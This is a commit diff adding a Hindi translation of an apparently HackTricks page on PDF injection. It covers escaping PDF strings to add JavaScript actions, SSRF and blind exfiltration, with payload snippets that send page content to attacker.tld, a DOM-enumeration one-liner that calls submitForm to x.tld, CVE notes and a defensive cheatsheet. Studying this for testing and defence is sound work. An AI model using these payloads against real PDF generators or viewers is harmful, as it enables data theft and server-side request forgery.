Translated ['src/pentesting-web/xss-cross-site-scripting/pdf-injection.m

This commit is contained in:
Translator 2025-08-04 18:13:47 +00:00
parent b476289d57
commit f55f026d99

View File

@ -1,7 +1,55 @@
{{#include ../../banners/hacktricks-training.md}}
**यदि आपका इनपुट PDF फ़ाइल के अंदर परिलक्षित हो रहा है, तो आप JavaScript निष्पादित करने या PDF सामग्री चुराने के लिए PDF डेटा इंजेक्ट करने का प्रयास कर सकते हैं।**
Chec the post: [**https://portswigger.net/research/portable-data-exfiltration**](https://portswigger.net/research/portable-data-exfiltration)
# PDF Injection
{{#include ../../banners/hacktricks-training.md}}
**यदि आपका इनपुट एक PDF फ़ाइल के अंदर परिलक्षित हो रहा है, तो आप JavaScript निष्पादित करने, SSRF करने या PDF सामग्री चुराने के लिए PDF डेटा इंजेक्ट करने का प्रयास कर सकते हैं।**
PDF सिंटैक्स अत्यधिक अनुमति देने वाला है - यदि आप उस स्ट्रिंग या शब्दकोश से बाहर निकल सकते हैं जो आपके इनपुट को एम्बेड कर रहा है, तो आप पूरी तरह से नए ऑब्जेक्ट (या उसी ऑब्जेक्ट में नए कुंजी) जोड़ सकते हैं जिन्हें Acrobat/Chrome खुशी से पार्स करेगा।
2024 से, बग-बाउंटी रिपोर्टों की एक लहर ने दिखाया है कि *एक अनएस्केप्ड कोष्ठक या बैक-स्लैश पूरी स्क्रिप्ट निष्पादन के लिए पर्याप्त है।*
## TL;DR आधुनिक हमले का कार्यप्रवाह (2024)
1. किसी भी उपयोगकर्ता-नियंत्रित मान को खोजें जो एक **(कोष्ठक स्ट्रिंग)**, `/URI ( … )` या `/JS ( … )` फ़ील्ड के अंदर समाप्त होता है जो उत्पन्न PDF में है।
2. `) ` (स्ट्रिंग को बंद करना) इंजेक्ट करें, इसके बाद नीचे दिए गए प्राइमिटिव में से एक और एक और उद्घाटन कोष्ठक के साथ समाप्त करें ताकि सिंटैक्स मान्य रहे।
3. दुर्भावनापूर्ण PDF को एक पीड़ित (या एक बैकएंड सेवा को जो स्वचालित रूप से फ़ाइल को रेंडर करती है - अंधे बग के लिए महान) को वितरित करें।
4. आपका पेलोड PDF व्यूअर में चलता है:
* Chrome / Edge → PDFium Sandbox
* Firefox → PDF.js (देखें CVE-2024-4367)
* Acrobat → पूर्ण JavaScript API (इसका उपयोग करके मनमाने फ़ाइल सामग्री को एक्सफिल्ट्रेट कर सकता है `this.getPageNthWord`)
उदाहरण (एनोटेशन लिंक हाइजैक):
```pdf
(https://victim.internal/) ) /A << /S /JavaScript /JS (app.alert("PDF pwned")) >> /Next (
```
*पहला `)` मूल URI स्ट्रिंग को बंद करता है, फिर हम एक नया **Action** शब्दकोश जोड़ते हैं जिसे Acrobat उपयोगकर्ता द्वारा लिंक पर क्लिक करने पर निष्पादित करेगा।*
## उपयोगी इंजेक्शन प्राइमिटिव्स
| लक्ष्य | पेलोड स्निपेट | नोट्स |
|------|-----------------|-------|
| **खुलने पर JavaScript** | `/OpenAction << /S /JavaScript /JS (app.alert(1)) >>` | जब दस्तावेज़ खोला जाता है तो तुरंत निष्पादित होता है (Acrobat में काम करता है, Chrome में नहीं)। |
| **लिंक पर JavaScript** | `/A << /S /JavaScript /JS (fetch('https://attacker.tld/?c='+this.getPageNumWords(0))) >>` | यदि आप `/Link` एनोटेशन को नियंत्रित करते हैं तो PDFium और Acrobat में काम करता है। |
| **ब्लाइंड डेटा एक्सफिल्ट्रेशन** | `<< /Type /Action /S /URI /URI (https://attacker.tld/?leak=)` | सामग्री चुराने के लिए JS के अंदर `this.getPageNthWord` के साथ मिलाएं। |
| **सर्वर-साइड SSRF** | ऊपर जैसा ही लेकिन एक आंतरिक URL को लक्षित करें - जब PDF को बैक-ऑफिस सेवाओं द्वारा प्रस्तुत किया जाता है जो `/URI` का सम्मान करते हैं तो यह शानदार है। |
| **नए ऑब्जेक्ट्स के लिए लाइन ब्रेक** | `\nendobj\n10 0 obj\n<< /S /JavaScript /JS (app.alert(1)) >>\nendobj` | यदि पुस्तकालय आपको नए-लाइन वर्ण इंजेक्ट करने की अनुमति देता है तो आप पूरी तरह से नए ऑब्जेक्ट्स बना सकते हैं। |
## ब्लाइंड एन्यूमरेशन ट्रिक
गैरेथ हेयेस (PortSwigger) ने एक वन-लाइनर जारी किया जो एक अज्ञात दस्तावेज़ के अंदर हर ऑब्जेक्ट को एन्यूमरेट करता है - जब आप उत्पन्न PDF नहीं देख सकते हैं तो यह उपयोगी है:
```pdf
) /JS (for(i in this){try{this.submitForm('https://x.tld?'+i+'='+this[i])}catch(e){}}) /S /JavaScript /A << >> (
```
कोड Acrobat DOM के माध्यम से इटरेट करता है और हर प्रॉपर्टी/वैल्यू पेयर के लिए आउटबाउंड अनुरोध करता है, जिससे आपको फ़ाइल का *JSON-ish* डंप मिलता है। पूरी तकनीक के लिए श्वेत पत्र “Portable Data **ex**Filtration” देखें।
## वास्तविक दुनिया की बग्स (2023-2025)
* **CVE-2024-4367** Firefox के PDF.js में 4.2.67 से पहले मनमाने JavaScript निष्पादन ने एक तैयार `/JavaScript` क्रिया के साथ सैंडबॉक्स को बायपास किया।
* **बग बाउंटी 2024-05** प्रमुख फिनटेक ने ग्राहक द्वारा प्रदान किए गए चालान नोट्स की अनुमति दी जो `/URI` में आईं; रिपोर्ट के बाद $10k का भुगतान किया गया जब आंतरिक मेटाडेटा होस्ट के लिए `file:///` URI का SSRF प्रदर्शित किया गया।
* **CVE-2023-26155** अस्वच्छ PDF पथ के माध्यम से `node-qpdf` कमांड-इंजेक्शन ने PDF परत से पहले बैकस्लैश और कोष्ठकों को एस्केप करने के महत्व को दिखाया।
## डिफेंसिव चीटशीट
1. **कभी भी कच्चे उपयोगकर्ता इनपुट को** `(``)` स्ट्रिंग्स या नामों के अंदर संयोजित न करें। PDF स्पेक के §7.3 द्वारा आवश्यकतानुसार `\`, `(`, `)` को एस्केप करें या हेक्स स्ट्रिंग्स `<...>` का उपयोग करें।
2. यदि आप लिंक बनाते हैं, तो `/URI (https://…)` को प्राथमिकता दें जिसे आप *पूर्ण रूप से* URL-कोडित करते हैं; क्लाइंट व्यूअर्स में `javascript:` स्कीमों को ब्लॉक करें।
3. PDFs को पोस्ट-प्रोसेस करते समय `/OpenAction`, `/AA` (अतिरिक्त क्रियाएँ), `/Launch`, `/SubmitForm` और `/ImportData` शब्दकोशों को स्ट्रिप या मान्य करें।
4. सर्वर साइड पर, अविश्वसनीय PDFs को *हेडलेस कनवर्टर* (जैसे qpdf decrypt linearize) के साथ रेंडर करें जो JavaScript और बाहरी क्रियाओं को हटा देता है।
5. PDF व्यूअर्स को अद्यतित रखें; PDF.js < 4.2.67 और Acrobat Reader जुल 2024 से पहले पैच trivial िष्पदन अनुमति देते हैं
## संदर्भ
* Gareth Heyes, “Portable Data exFiltration XSS for PDFs”, PortSwigger Research (अद्यतन मई 2024)। <https://portswigger.net/research/portable-data-exfiltration>
* Dawid Ryłko, “CVE-2024-4367: Arbitrary JavaScript Execution in PDF.js” (अप्रैल 2024)। <https://dawid.dev/sec/cve-2024-4367-arbitrary-javascript-execution-in-pdf-js>
{{#include ../../banners/hacktricks-training.md}}